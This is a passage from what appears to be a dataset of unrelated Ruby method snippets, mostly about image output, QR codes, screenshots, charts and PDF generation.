options.withbands,\n yaxis_max: options.yaxis_max == 0 ? max_y : options.yaxis_max,\n yaxis_steps: options.yaxis_steps,\n xaxis_steps: options.xaxis_steps,\n title: \"Data Transfer Rates\",\n subtitle: \"bigger is better\",\n xaxis_title: \"Message Size\",\n xaxis_unit: \"kB\",\n yaxis_title: \"Transfer Rate\",\n yaxis_unit: \"MB/sec\"\n )\n\n pdf = pdfout(rplot, file: options.pdf, width: options.width, height: options.height)\n print(\"#{pdf}\") unless options.pdf.empty?\n print(\"#{rplot}\") if options.pdf.empty?\nend", "def write_raster_file(fn)\n raise(\"File not exist\") unless File.file?(fn)\n puts \"> oled-exp draw #{fn}\" if @verbose\n system(\"oled-exp\",\"draw\",fn)\n #sync_spawn(\"oled-exp\",@opt,\"draw\",fn) >> issue with file location...\n end", "def output_image\n @transformed_matrix.each do |element|\n puts element.join\n end\n end", "def png\n @driver.screenshot_as(:png)\n end", "def generate!\n total_width = self.column_width + self.gutter_width\n height = @baseline_height\n RVG::dpi = 100\n\n width_in_inches = (total_width.to_f/RVG::dpi).in\n height_in_inches = (height.to_f/RVG::dpi).in\n rvg = RVG.new(width_in_inches, height_in_inches).viewbox(0, 0, total_width, height) do |canvas|\n canvas.background_fill = \"white\"\n end\n\n white = ChunkyPNG::Color.from_hex(\"ffffff\")\n background = ChunkyPNG::Color.from_hex(\"e8effb\")\n line = ChunkyPNG::Color.from_hex(\"e9e9e9\")\n\n png = ChunkyPNG::Image.new(total_width, height, white)\n png.rect(0, 0, column_width - 1, height, background, background)\n png.rect(0, height - 1, total_width, height - 1, line, line)\n\n FileUtils.mkdir(self.output_path) unless File.exists?(self.output_path)\n png.save(File.join(self.output_path, \"grid.png\"))\n end", "def to_file(name: 'screen.png')\n if name === 'ascii'\n system \"clear\" #clear the terminal screen\n Magick::Image::from_blob(to_svg).first.inspect_bitstream(width, height)\n else\n Magick::Image::from_blob(to_svg).first.write(name)\n end\n end", "def convert_to_png(input_pdf, output_file)\n pdf = Magick::ImageList.new(input_pdf) { self.density = 200 }\n pdf.write(output_file)\nend", "def show\n @patient = Patient.find(params[:id])\n\n @doc=RGhost::Document.new\n @doc.barcode_code39(@patient.pid, :x => 0, :y=> 27, :text => {:size => 10}) \n @doc.render :png, :logfile => \"/tmp/logfile.txt\", :debug => true, :filename => \"/tmp/barcode.png\"\n\n @pdf = Prawn::Document.new\n barcode = \"/tmp/barcode.png\"\n @pdf.image barcode, :at => [0,750], :width => 450\n\n @pdf.move_down(40)\n @pdf.text(@patient.name)\n @pdf.text(@patient.address)\n\n @pdf.render_file('prawn.pdf')\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @patient }\n end\n end", "def store()\n\t\t# Get filename of input program\n\t\tfilename = ARGV[0]\n\t\t# Remove extension\n\t\tfilename = File.basename(filename,\".rtn\")\n\t\t# Add extension\n\t\tfilename << \".pbm\"\n\n\t\t# Create new file\n\t\tnewFile = File.open(filename, \"w\")\n\t\n\t\t# Add magid number and dimensions of matrix\n\t\tnewFile.puts(\"P1\")\n\t\tnewFile.print(@width)\n\t\tnewFile.print(' ')\n\t\tnewFile.puts(@height)\n\n\t\t# Store matrix in file\n\t\t@image.each do |row|\n\t\t\trow.each do |pixel|\n\t\t\t\tnewFile.print pixel, ' '\n\t\t\tend\n\t\t\tnewFile.puts\n\t\tend\n\n\t\t# Close stream\n\t\tnewFile.close\n\tend", "def quantize(content, colors = 256)\n raise PngError, \"pngquant not found in PATH=#{ENV['PATH']}\" unless which(\"pngquant\")\n out = \"\"\n exit_code, err_msg = Open3.popen3(\"pngquant #{colors}\") do |stdin, stdout, stderr, wait_thr|\n stdin.write(content)\n out << stdout.read\n [wait_thr.value, stderr.gets(nil)]\n end\n\n raise(PngError, err_msg) if exit_code != 0\n out\n end", "def make_screenshot\n Logbook.step('Taking a screenshot of a result page')\n @browser.save_screenshot(\"screenshots/screenshot - #{Time.now.strftime('%Y-%m-%d %H-%M-%S')}.png\")\n end", "def write_ppm(ios, format=\"P6\")\n if not PIXMAP_FORMATS.include?(format)\n raise NotImplementedError, \"pixmap format #{format} has not been implemented\" \n end\n ios.puts format, \"#{@width} #{@height}\", \"255\"\n ios.binmode if PIXMAP_BINARY_FORMATS.include?(format)\n each_pixel do |x, y|\n case format\n when \"P3\" then ios.print @data[x][y].values.join(\" \"),\"\\n\"\n when \"P6\" then ios.print @data[x][y].values.pack('C3')\n end\n end\n end", "def metadata\n\t \"#{$0} #{@width} #{@height} #{@seed}\" \n\tend", "def graphic(number)\n File.open(\"#{frame_id(number)}.svg\", \"w\") do |file|\n file.write render(\"bit101_style.erb\")\n end\n\n system(\"convert #{frame_id(number)}.svg #{frame_id(number)}.jpg\")\n # system(\"java -jar ~/Downloads/batik-1.7/batik-rasterizer.jar #{frame_id(number)}.svg\")\n File.unlink(\"#{frame_id(number)}.svg\")\n\n print \"+\"\nend", "def print_picture(image)\n system \"clear\"\n Catpix::print_image image,\n :limit_x => 0.5,\n :limit_y => 0,\n :center_x => true,\n :center_y => false,\n :bg => \"black\",\n :bg_fill => false,\n :resolution => \"high\"\n end", "def customQRcode(inputStr) \n qrcode = RQRCode::QRCode.new(inputStr).as_png(fill: 'white', color: 'black', file: 'abc.png')\n avatar = ChunkyPNG::Image.from_file('abc.png')\n\n # alogo.png being the logo file\n badge = ChunkyPNG::Image.from_file('alogo.png')\n\n print(\"height of backgound:\")\n print(avatar.height)\n print(\"height of logo:\")\n print(badge.height)\n\n #Alpha Blending\n avatar.compose!(badge, avatar.height/2 - badge.height/2, avatar.height/2 - badge.height/2)\n avatar.save('composited.png', :fast_rgba)\nend", "def start_export( img_width, img_height)\n set_residual_factor\n @w, @h = (img_width * x_factor).to_i.abs, (img_height * y_factor).to_i.abs\n super(@w, @h)\n end", "def show_512x512_png(path, x, y, w, h)\n @dc_kos::load_png(path, x+1, y+1, x+w, y+h)\n end", "def png\n self.to_s\n end", "def export_measurements\n 'Click <b>Export</b><br>' \\\n 'Select <b>Export All Data Sheets</b><br>' \\\n 'Export all sheets as CSV<br>' \\\n \"Save files to the #{params[:export_filepath]} directory\"\n end", "def export_measurements\n 'Click <b>Export</b><br>' \\\n 'Select <b>Export All Data Sheets</b><br>' \\\n 'Export all sheets as CSV<br>' \\\n \"Save files to the #{params[:export_filepath]} directory\"\n end", "def take_screenshot(_scenario)\n screenshot_dir = \"#{FigNewton.screenshot_directory}/#{$date_and_time}\"\n FileUtils.mkdir screenshot_dir unless File.directory? screenshot_dir\n encoded_img = @browser.driver.screenshot_as(:base64)\n embed(\"data:image/png;base64,#{encoded_img}\", 'image/png')\nend", "def generate_test_image(file, params = {})\n # Set default size for sample test image.\n line_size = 1\n box_size = 6\n width = (box_size * 6) + (line_size * 7)\n height = (box_size * 5) + (line_size * 6)\n\n # Set parameters for image creation options.\n image_type = params[:image_type] || File.extname(file)\n bands = params[:bands] || 3\n color = params[:color] || 'rgb'\n depth = params[:depth] || 8\n cg_type = params[:cg_type] || 'adobe_rgb'\n compression = params[:compression]\n profile = params[:profile]\n\n temp_array = color_gauge_values(cg_type)\n temp_image = Vips::Image.black(width, height, bands: temp_array.first.size)\n 5.times do |i|\n b = (box_size * i) + (line_size * (i + 1))\n # d = b + box_size - line_size\n 6.times do |j|\n a = (box_size * j) + (line_size * (j + 1))\n # c = a + box_size - line_size\n colors = temp_array.shift\n temp_image = temp_image.draw_rect(colors, a, b, box_size, box_size, fill: true)\n end\n end\n\n temp_image = color.eql?('cmyk') ? temp_image.copy(interpretation: :cmyk) : temp_image.copy(interpretation: :srgb)\n\n temp_image = if color.eql?('grey') && bands == 3\n mean = temp_image.bandmean\n Vips::Image.bandjoin([mean, mean, mean])\n elsif color.eql?('grey') && bands == 1\n temp_image.bandmean\n elsif color.eql?('bin') && bands == 3\n mean = temp_image.bandmean < 128\n Vips::Image.bandjoin([mean, mean, mean])\n elsif color.eql?('bin') && bands == 1\n temp_image.bandmean < 128\n else\n temp_image\n end\n\n options = {}\n unless profile.nil?\n profile_file = File.join(Assembly::PATH_TO_IMAGE_GEM, 'profiles', \"#{profile}.icc\")\n options.merge!(profile: profile_file)\n end\n\n case image_type\n when '.tiff', '.tif'\n options.merge!(compression: compression) unless compression.nil?\n options.merge!(squash: true) if depth.eql?(1)\n temp_image.tiffsave(file, **options)\n when '.jpeg', '.jpg'\n temp_image.jpegsave(file, **options)\n else\n raise \"unknown type: #{image_type}\"\n end\nend", "def create_ewf_image(drive_path ,image_output_location)\n ## Make E01 image\n @colour.notify \"Creating E01 image with path #{image_output_location}.E01\"\n @colour.notify 'This may take a while:'\n @colour.notify \"E01 image #{image_output_location}.E01 created\" if system \"ftkimager '#{drive_path}' '#{image_output_location}' --e01\"\nend", "def print_out_line\n name = @run_name\n name += \" (res: #@restart_id)\" if @restart_id\n name += \" real_id: #@real_id\" if @real_id\n beginning = sprintf(\"%2d:%d %-60s %1s:%2.1f(%s) %3s%1s\", @id, @job_no, name, @status.to_s[0,1], @run_time.to_f / 60.0, @nprocs.to_s, percent_complete, \"%\")\n if ctd\n #beginning += sprintf(\"Q:%f, Pfusion:%f MW, Ti0:%f keV, Te0:%f keV, n0:%f x10^20\", fusionQ, pfus, ti0, te0, ne0)\n end\n beginning += \" ---#{@comment}\" if @comment\n beginning\n end", "def startDSExport \n begin\n $MatLib = SU2DS::MaterialLibrary.new() # reads Sketchup material library and creates hashes mapping each material name to its path and radiance description (if available)\n rs = SU2DS::RadianceScene.new()\n rs.export(SU2DS::RadianceScene::EMODE_HEADER) ## modified for su2ds\n rescue => e \n msg = \"%s\\n\\n%s\" % [$!.message,e.backtrace.join(\"\\n\")]\n UI.messagebox msg \n end \nend", "def generarImagen()\n\t\tFile.open(@programa+'.pbm', 'w') do |f2|\n\t\t\tf2.puts \"P1\"\n\t\t\tf2.puts \"#{@tam_ancho} #{@tam_alto}\"\n \t\t\t@tam_alto.times do |i|\n \t\t\t\ts = \"\"\n\t\t\t\t@tam_ancho.times do |j|\n\t\t\t\t\ts << @plano[i][j].to_s + \" \"\n\t\t\t\tend\n\t\t\t\tf2.puts s\n\t\t\tend\n\t\tend\n\tend", "def screencast(duration: 6, scale: 1, window: true)\n \n fileout = @file_out.sub(/\\.\\w+$/,'%d.png')\n \n puts 'fileout: ' + fileout if @debug\n \n x4ss = X4ss.new fileout, mouse: true, window: true\n mode = window ? :window : :screen\n sleep 2; x4ss.record duration: duration, mode: mode\n x4ss.save\n \n fileout2 = fileout.sub(/(?=%)/,'b')\n EasyImgUtils.new(fileout, fileout2).scale(scale) unless scale == 1\n EasyImgUtils.new(fileout2, @file_out).animate\n \n end", "def qr\n require 'rqrcode'\n str = params[:str] || \"\"\n\n qr = RQRCode::QRCode.new(str)\n\n qr_img_stream = qr.as_png(\n border_modules: 2,\n color: \"24292e\"\n ).to_s\n\n send_data(qr_img_stream, type: 'image/png', disposition: 'inline')\n end", "def generate()\n @qrcode = @qr_generator.new(@url)\n @png = @qrcode.as_png(\n size: @size,\n border_modules: DEFAULT_BORDER_MODULES\n )\n end", "def component_capture(fileName, windowName, componentName)\n return $marathon.saveScreenShot(fileName)\nend", "def spectrum_queries\n msms_pipeline_analysis.msms_run_summary.spectrum_queries\n end", "def export_rs(cm, cl, exp_file)\n Utils.print_str_to_fit_pane('Export assignment of all Regions'.red)\n\n cmd = HT.gen_hbase_manager_export_command(cm, cl, exp_file)\n Utils.print_str_to_fit_pane(\" └── #{cmd}\")\n\n Utils.awaiter(msg: 'Exporting ', time: true) do\n HT.run_hbase_manager_export(cmd)\n puts \"\\r\" + FMT.cur_dt + ' Exported '.red\n end\n end", "def prepgraph(width)\n #configure R location\n if ENV['R_HOME'].nil?\n ENV['R_HOME'] = \"/Library/Frameworks/R.framework/Resources/\"\n end\n \n @r = RSRuby.instance \n @writefile = \"graphs/\" + @fieldname.to_s + \".png\"\n File.new(@writefile, 'a')\n @r.png @writefile, :width => width\nend", "def to_s\n t = \"#{@numerator}/#{2**@denominator}\"\n m = @metronome_ticks.to_f / 24\n \"measure #{@measure_number} #{@start}-#{@end} #{t} #{m} qs metronome\"\n end", "def getchart()\n # The value to display on the meter\n value = 4.75\n\n # Create an AugularMeter object of size 110 x 110 pixels, using silver background\n # color with a black 2 pixel 3D depressed border.\n m = ChartDirector::AngularMeter.new(110, 110, ChartDirector::silverColor(),\n 0x000000, -2)\n\n # Set meter appearance according to a parameter\n if params[\"img\"] == \"0\"\n # Set the meter center at bottom left corner (15, 95), with radius 85 pixels.\n # Meter spans from 90 - 0 degrees.\n m.setMeter(15, 95, 85, 90, 0)\n # Add a label to the meter centered at (35, 75)\n m.addText(35, 75, \"VDC\", \"arialbd.ttf\", 12, ChartDirector::TextColor,\n ChartDirector::Center)\n # Add a text box to show the value at top right corner (103, 7)\n m.addText(103, 7, m.formatValue(value, \"2\"), \"arial.ttf\", 8, 0xffffff,\n ChartDirector::TopRight).setBackground(0, 0, -1)\n elsif params[\"img\"] == \"1\"\n # Set the meter center at top left corner (15, 15), with radius 85 pixels.\n # Meter spans from 90 - 180 degrees.\n m.setMeter(15, 15, 85, 90, 180)\n # Add a label to the meter centered at (35, 35)\n m.addText(35, 35, \"AMP\", \"arialbd.ttf\", 12, ChartDirector::TextColor,\n ChartDirector::Center)\n # Add a text box to show the value at bottom right corner (103, 103)\n m.addText(103, 103, m.formatValue(value, \"2\"), \"arial.ttf\", 8, 0xffffff,\n ChartDirector::BottomRight).setBackground(0, 0, -1)\n elsif params[\"img\"] == \"2\"\n # Set the meter center at top right corner (15, 95), with radius 85 pixels.\n # Meter spans from 270 - 180 degrees.\n m.setMeter(95, 15, 85, 270, 180)\n # Add a label to the meter centered at (75, 35)\n m.addText(75, 35, \"KW\", \"arialbd.ttf\", 12, ChartDirector::TextColor,\n ChartDirector::Center)\n # Add a text box to show the value at bottom left corner (7, 103)\n m.addText(7, 103, m.formatValue(value, \"2\"), \"arial.ttf\", 8, 0xffffff,\n ChartDirector::BottomLeft).setBackground(0, 0, -1)\n else\n # Set the meter center at bottom right corner (95, 95), with radius 85 pixels.\n # Meter spans from 270 - 360 degrees.\n m.setMeter(95, 95, 85, 270, 360)\n # Add a label to the meter centered at (75, 75)\n m.addText(75, 75, \"RPM\", \"arialbd.ttf\", 12, ChartDirector::TextColor,\n ChartDirector::Center)\n # Add a text box to show the value at top left corner (7, 7)\n m.addText(7, 7, m.formatValue(value, \"2\"), \"arial.ttf\", 8, 0xffffff,\n ChartDirector::TopLeft).setBackground(0, 0, -1)\n end\n\n # Meter scale is 0 - 10, with a major tick every 2 units, and minor tick every 1\n # unit\n m.setScale(0, 10, 2, 1)\n\n # Set 0 - 6 as green (99ff99) zone, 6 - 8 as yellow (ffff00) zone, and 8 - 10 as\n # red (ff3333) zone\n m.addZone(0, 6, 0x99ff99, 0x808080)\n m.addZone(6, 8, 0xffff00, 0x808080)\n m.addZone(8, 10, 0xff3333, 0x808080)\n\n # Add a semi-transparent black (80000000) pointer at the specified value\n m.addPointer(value, 0x80000000)\n\n # Output the chart\n send_data(m.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "def spectrum_to_mgf(data)\n output_arr = []\n output_arr << %Q{COM=Project: In-silico Isotoper\\nBEGIN IONS\\nCHARGE=#{@charge_state}+\\nTITLE=Label: Sequence is #{@sequence} and options were #{@opts}}\n data.each do |entry|\n #\tTableEntry = Struct.new(:ion, :seq, :mass, :charge)\n output_arr << \"#{\"%.5f\" % entry.first }\\t#{\"%.5f\" % entry.last}\"\n end\n output_arr << \"END IONS\"\n File.open(\"#{@sequence}.mgf\", 'w') {|o| o.print output_arr.join(\"\\n\") }\n output_arr.join(\"\\n\")\n end", "def gen_qr_code data\r\n begin\r\n # Form query\r\n query = \"#{URL}#{QUERY}#{data}\"\r\n # Write file to output path\r\n File.open(QR_OUTPUT_PATH, \"wb\") do |file| \r\n file.write HTTParty.get(URI.escape query).parsed_response\r\n end\r\n # Update UI\r\n @qr_img_label.set_pixmap(Qt::Pixmap.new(QR_OUTPUT_PATH))\r\n @qr_data_label.set_text(data)\r\n rescue => e\r\n puts e.inspect\r\n title = \"QR Error\"\r\n error = \"Error: \\\"#{data}\\\" could not be rendered as QR Code!\"\r\n build_message_box(title, error)\r\n end\r\n end", "def metadata\n\t \"#{$0} #{@width} #{@height} #{@seed}\"\n\tend", "def metadata\n\t \"#{$0} #{@width} #{@height} #{@seed}\"\n\tend", "def ex1\n WaveFile::Reader.new(\n File.expand_path('../440Hz,441samples.wav', File.dirname(__FILE__))\n ) do |reader|\n samples = reader.read(441).samples.to_a\n #puts samples.map(&:inspect).join(\",\")\n samples_to_graph!(samples, '440constant')\n embiggen_and_imgcat!('440constant')\n end\nend", "def render_image_iterm2\n return nil unless valid?\n\n # References:\n # https://iterm2.com/documentation-images.html\n # https://iterm2.com/utilities/imgcat\n\n # tmux requires some extra work for unrecognised escape code sequences\n screen = ENV['TERM'].start_with? 'screen'\n prefix = screen ? \"\\ePtmux;\\e\\e]\" : \"\\e]\"\n suffix = screen ? \"\\a\\e\\\\\" : \"\\a\"\n\n png = qrcode.as_png(size: 600)\n png_base64 = Base64.encode64(png.to_s).chomp\n options = 'inline=1'\n \"#{prefix}1337;File=#{options}:#{png_base64}#{suffix}\"\n end", "def output_image\n @image_array.each do |e|\n puts e.join\n end\n end", "def run_derivatives\n GeoDerivatives::Runners::RasterDerivatives.create(\n filename, outputs: [instructions_for_display, instructions_for_thumbnail]\n )\n end", "def print_output_head(index, meta_data)\n puts \"\\nPrinting autoscaled dataset for %.2f\" %\n (meta_data.domain_z.lower + (index * meta_data.domain_z.step))\n puts \"\\n\"\n end", "def write(path = @path)\n \n gline = Gruff::Line.new(@size)\n @methods.each do |m, args|\n gline.send(\"#{m}=\", args)\n end\n @dataxy.each do |dxy| \n gline.dataxy(dxy[0], dxy[1], dxy[2]) \n end\n\n @filename ||= filename(@methods[:title])\n @filename ||= \"rbPlot\"\n gline.write(path + @filename + '.png')\n end", "def tick args\n args.outputs.background_color = [0, 0, 0]\n args.outputs.borders << { x: 0, y: 0, w: 1280, h: 720, r: 255, g: 255, b: 255 }\n\n args.outputs.labels << { x: 30, y: 30.from_top, text: \"render scale: #{args.grid.native_scale}\", r: 255, g: 255, b: 255 }\n args.outputs.labels << { x: 30, y: 60.from_top, text: \"render scale: #{args.grid.native_scale_enum}\", r: 255, g: 255, b: 255 }\n\n args.outputs.sprites << { x: -640 - 50, y: 360 - 50, w: 100, h: 100, path: \"sprites/square.png\" }\n args.outputs.sprites << { x: -320 - 50, y: 360 - 50, w: 100, h: 100, path: \"sprites/square.png\" }\n\n args.outputs.sprites << { x: 0 - 50, y: 360 - 50, w: 100, h: 100, path: \"sprites/square.png\" }\n args.outputs.sprites << { x: 320 - 50, y: 360 - 50, w: 100, h: 100, path: \"sprites/square.png\" }\n args.outputs.sprites << { x: 640 - 50, y: 360 - 50, w: 100, h: 100, path: \"sprites/square.png\" }\n args.outputs.sprites << { x: 960 - 50, y: 360 - 50, w: 100, h: 100, path: \"sprites/square.png\" }\n args.outputs.sprites << { x: 1280 - 50, y: 360 - 50, w: 100, h: 100, path: \"sprites/square.png\" }\n\n args.outputs.sprites << { x: 1600 - 50, y: 360 - 50, w: 100, h: 100, path: \"sprites/square.png\" }\n args.outputs.sprites << { x: 1920 - 50, y: 360 - 50, w: 100, h: 100, path: \"sprites/square.png\" }\n\n args.outputs.sprites << { x: 640 - 50, y: 720, w: 100, h: 100, path: \"sprites/square.png\" }\n args.outputs.sprites << { x: 640 - 50, y: 100.from_top, w: 100, h: 100, path: \"sprites/square.png\" }\n args.outputs.sprites << { x: 640 - 50, y: 360 - 50, w: 100, h: 100, path: \"sprites/square.png\" }\n args.outputs.sprites << { x: 640 - 50, y: 0, w: 100, h: 100, path: \"sprites/square.png\" }\n args.outputs.sprites << { x: 640 - 50, y: -100, w: 100, h: 100, path: \"sprites/square.png\" }\nend", "def component_capture(fileName, windowName, componentName)\n return $marathon.saveScreenShot(fileName)\nend", "def saos\n save_and_open_screenshot\n end", "def gen\n with_output_to @fn do\n pp \"require 'spqr/spqr'\"\n pp \"require 'spqr/app'\"\n\n pp \"\"\n\n @scs.each do |sc|\n pp(\"require '#{sc.package.gsub(/[.]/, '/')}/#{sc.name}'\")\n end\n\n \n pp \"\"\n \n pp \"app = SPQR::App.new(:loglevel => :debug)\"\n \n klass_list = @scs.collect do |sc|\n (sc.package.split(\".\").collect{|pkg| pkg.capitalize} << sc.name).join(\"::\")\n end\n \n pp \"app.register #{klass_list.join ','}\"\n \n pp \"\"\n\n pp \"app.main\"\n end\n end", "def screen_capture(fileName)\n return $marathon.saveScreenShot(fileName)\nend", "def draw_and_save_image\n\t\tcolor = @avatar[:color]\n\t\tpng = ChunkyPNG::Image.new(250, 250, ChunkyPNG::Color::WHITE)\n\t\tcolor = ChunkyPNG::Color.rgba(color[:r], color[:g], color[:b], color[:alpha])\n\t\t@colorable_grid.each do |points|\n\t\t\tp1 = points[0]\n\t\t\tp2 = points[1]\n\t\t\tpng.rect(p1[0], p1[1], p2[0], p2[1] , color, color)\n\t\tend\n\t\tpng.save(File.join(Dir.pwd, \"/#{@term}.png\"), :interlace => true)\n\tend", "def generate_wd_images rname=nil\n return {} unless rname\n \n start_time = Time.now\n \n @selected_room_name = rname\n @room_name = @selected_room_name.gsub('#', '_')\n # rinfo \"Starting Image generation : %s\"%(@selected_room_name)\n\n #Pre Operation things\n exception_raised = false\n #-----------Get previous stuffs--------------------------\n curr_active_layer = Sketchup.active_model.active_layer\n edge_render_option = Sketchup.active_model.rendering_options[\"EdgeColorMode\"]\n active_camera = Sketchup.active_model.active_view.camera\n cam_perspective = Sketchup.active_model.active_view.camera.perspective?\n unit_display = Sketchup.active_model.options[\"UnitsOptions\"][\"SuppressUnitsDisplay\"]\n\n Sketchup.active_model.options[\"UnitsOptions\"][\"SuppressUnitsDisplay\"]=true\n Sketchup.active_model.active_view.camera.perspective=false\n Sketchup.active_model.rendering_options[\"EdgeColorMode\"] = 0\n \n begin\n # puts \"--------------------------hide\"\n Sketchup::active_model::start_operation \"RIO Image Generation\"\n DP::hide_all_entities\n\n view_details_h = get_floor_view_comps\n \n view_details_h[\"top_view\"] = {:top_room_image => get_top_room_image}\n rescue Exception => e\n # rerror \"Exception raised during image generation\"\n raise e\n Sketchup.active_model.abort_operation\n exception_raised = true\n ensure\n DP::unhide_all_entities\n\n Sketchup.active_model.rendering_options[\"EdgeColorMode\"] = edge_render_option\n Sketchup.active_model.options[\"UnitsOptions\"][\"SuppressUnitsDisplay\"]=unit_display\n Sketchup.active_model.active_view.camera=active_camera\n Sketchup.active_model.active_view.camera.perspective=cam_perspective\n Sketchup.active_model.active_view.zoom_extents\n Sketchup.active_model.commit_operation\n end\n\n end_time = Time.now\n # puts \"Time taken : #{end_time - start_time}\"\n result = exception_raised ? {} : view_details_h\n end", "def sequence_frame_path\n \"#{@parent_path}output/#{@input_name}/sequence/#{@input_name}.png\"\n end", "def export(img, element_name)\n img = img.resize(ELEMENTS_SIDE_LENGTH, ELEMENTS_SIDE_LENGTH)\n img = img.quantize(COLOR_VARIATION, Magick::GRAYColorspace)\n img.write(element_name)\n end", "def content\n [ppux, ppuy, unit == :meters ? 1 : 0].pack(\"NNC\")\n end", "def draw_image(data, row_number, digit)\n size = 28\n png = ChunkyPNG::Image.new(size, size, ChunkyPNG::Color::WHITE)\n data.each_with_index do |value, index|\n png[index % size, index / size] = ChunkyPNG::Color.rgb(255 - value.to_i, 255 - value.to_i, 255 - value.to_i)\n end\n png.save(\"images/#{digit}/digit_row_#{row_number}.png\", interlace: true)\nend", "def make_pie_chart\n\t\trequire 'gruff'\n \t\ta = Sha.group(\"filetype\").count\n\n \t\tg = Gruff::Pie.new\n \t\tg.title = 'Filetypes'\n \n \t\ta.each do |key, value|\n \t\t puts g.data(key, a[key])\n \t\tend\n\n\t\t g.write('app/assets/images/pie.png')\n\tend", "def S(args)\n puts \"\\n=>\\n\"\n @image.show\n end", "def print_graphics\n \n # Print header graphic and text above the box.\n header_graphic = Rails.root.join('app', 'assets', 'quote_header.jpg')\n image(header_graphic, at: [0.35.in, 10.75.in], width: 7.8.in, height: 1.25.in)\n self.vms_text_box('QUOTATION', 0, 9.4, 8.5, 0.25, 16, :bold, :center, :center)\n\n # Define line widths.\n self.line_width = 0.012.in\n\n # Draw footer.\n fill_color('eeeeee')\n fill_rectangle([0.25.in, 1.5.in], 8.in, 1.25.in)\n stroke_rectangle([0.25.in, 1.5.in], 4.in, 0.75.in)\n stroke_rectangle([4.25.in, 1.5.in], 4.in, 0.75.in)\n stroke_rectangle([0.25.in, 0.75.in], 8.in, 0.5.in)\n self.vms_text_box(\"Terms:\\n\\n<strong>1% 10 DAYS, NET 30\\nQUOTED PRICES ARE FOB VARLAND PLANT</strong>\", 0.35, 1.5, 3.8, 0.75, 9, :normal, :left, :center)\n self.vms_text_box(\"Quoted By:\\n\\n\\n<strong>John McGuire</strong>\", 4.35, 1.5, 3.8, 0.75, 9, :normal, :left, :center)\n signature_graphic = Rails.root.join('app', 'assets', 'tim.png')\n image(signature_graphic, at: [(8.15 - 1.7224).in, 1.4.in], width: 1.7224.in, height: 0.55.in)\n self.vms_text_box(\"CORPORATE COMPLIANCE POLICY: Varland Metal Service, Inc. certifies that its pollution abatement system is operated\\nin compliance with U.S. EPA, state, and local regulations applicable to waste water discharge and sludge disposal.\", 0.25, 0.75, 8, 0.5, 9, :italic, :center, :center)\n\n return\n\n # Draw main box.\n stroke_rectangle([0.25.in, 8.25.in], 0.5.in, 0.25.in)\n stroke_rectangle([0.75.in, 8.25.in], 2.in, 0.25.in)\n stroke_rectangle([2.75.in, 8.25.in], 3.25.in, 0.25.in)\n stroke_rectangle([6.in, 8.25.in], 1.25.in, 0.25.in)\n stroke_rectangle([7.25.in, 8.25.in], 1.in, 0.25.in)\n self.vms_text_box('Code', 0.25, 8.25, 0.5, 0.25, 9, :bold, :center, :center)\n self.vms_text_box('Part Number', 0.75, 8.25, 2, 0.25, 9, :bold, :center, :center)\n self.vms_text_box('Part Description/Process Specification', 2.75, 8.25, 3.25, 0.25, 9, :bold, :center, :center)\n self.vms_text_box('Quantity', 6, 8.25, 1.25, 0.25, 9, :bold, :center, :center)\n self.vms_text_box('Price', 7.25, 8.25, 1, 0.25, 9, :bold, :center, :center)\n stroke_rectangle([0.25.in, 8.in], 0.5.in, 6.5.in)\n stroke_rectangle([0.75.in, 8.in], 2.in, 6.5.in)\n stroke_rectangle([2.75.in, 8.in], 3.25.in, 6.5.in)\n stroke_rectangle([6.in, 8.in], 1.25.in, 6.5.in)\n stroke_rectangle([7.25.in, 8.in], 1.in, 6.5.in)\n\n # Draw terms boxes.\n stroke_rectangle([0.25.in, 1.5.in], 4.in, 0.25.in)\n stroke_rectangle([0.25.in, 1.25.in], 4.in, 0.5.in)\n stroke_rectangle([4.25.in, 1.5.in], 4.in, 0.25.in)\n stroke_rectangle([4.25.in, 1.25.in], 4.in, 0.5.in)\n self.vms_text_box('Terms: 1% 10 Days, Net 30', 0.25, 1.5, 4, 0.25, 9, :bold, :center, :center)\n self.vms_text_box('All quoted prices are FOB Varland', 4.25, 1.5, 4, 0.25, 9, :bold, :center, :center)\n\n # Draw corporate compliance policy.\n self.vms_text_box(\"CORPORATE COMPLIANCE POLICY: Varland Metal Service, Inc. certifies that its pollution abatement system is operated\\nin compliance with U.S. EPA, state, and local regulations applicable to waste water discharge and sludge disposal.\", 0.25, 0.65, 8, 0.4, 8, :normal, :center, :center)\n \n end", "def buildCaptureStatsCmd()\n cmd = \"ruby \" + File.dirname(__FILE__) + \"/CaptureStats.rb \" + @markedBam + \n \" \" + @chipDesign\n puts \"Command to calculate capture stats \" + cmd\n return cmd\n end", "def projectPlot\n jsonLocation = CGI.escape(\"#{@scratch}/jobFile.json\")\n htmlLocation = CGI.escape(\"#{@outputDir}/htmlPages/#{@studyName1}\")\n system(\"importMicrobiomeProjectFiles.rb -j #{jsonLocation} -i #{htmlLocation} >#{@outputDir}/project_plot.log 2>#{@outputDir}/project_plot.error.log\")\n \n end", "def outputs\n buildstock_outputs = [\n \"total_site_energy_mbtu\",\n \"total_site_electricity_kwh\",\n \"total_site_natural_gas_therm\",\n \"total_site_other_fuel_mbtu\",\n \"net_site_energy_mbtu\", # Incorporates PV\n \"net_site_electricity_kwh\", # Incorporates PV\n \"electricity_heating_kwh\",\n \"electricity_cooling_kwh\",\n \"electricity_interior_lighting_kwh\",\n \"electricity_exterior_lighting_kwh\",\n \"electricity_interior_equipment_kwh\",\n \"electricity_fans_kwh\",\n \"electricity_pumps_kwh\",\n \"electricity_water_systems_kwh\",\n \"electricity_pv_kwh\",\n \"natural_gas_heating_therm\",\n \"natural_gas_interior_equipment_therm\",\n \"natural_gas_water_systems_therm\",\n \"other_fuel_heating_mbtu\",\n \"other_fuel_interior_equipment_mbtu\",\n \"other_fuel_water_systems_mbtu\",\n \"hours_heating_setpoint_not_met\",\n \"hours_cooling_setpoint_not_met\",\n \"hvac_cooling_capacity_w\",\n \"hvac_heating_capacity_w\",\n \"upgrade_name\",\n \"upgrade_cost_usd\",\n \"weight\"\n ]\n result = OpenStudio::Measure::OSOutputVector.new\n buildstock_outputs.each do |output|\n result << OpenStudio::Measure::OSOutput.makeDoubleOutput(output)\n end\n return result\n end", "def show\n @drug_test = DrugTest.find(params[:id])\n \n\n respond_to do |format|\n format.png { render :qrcode => \"drug_tests/\"+@drug_test.id.to_s}\n format.html # show.html.erb\n format.json { render json: @drug_test }\n format.pdf\n end\n end" ]
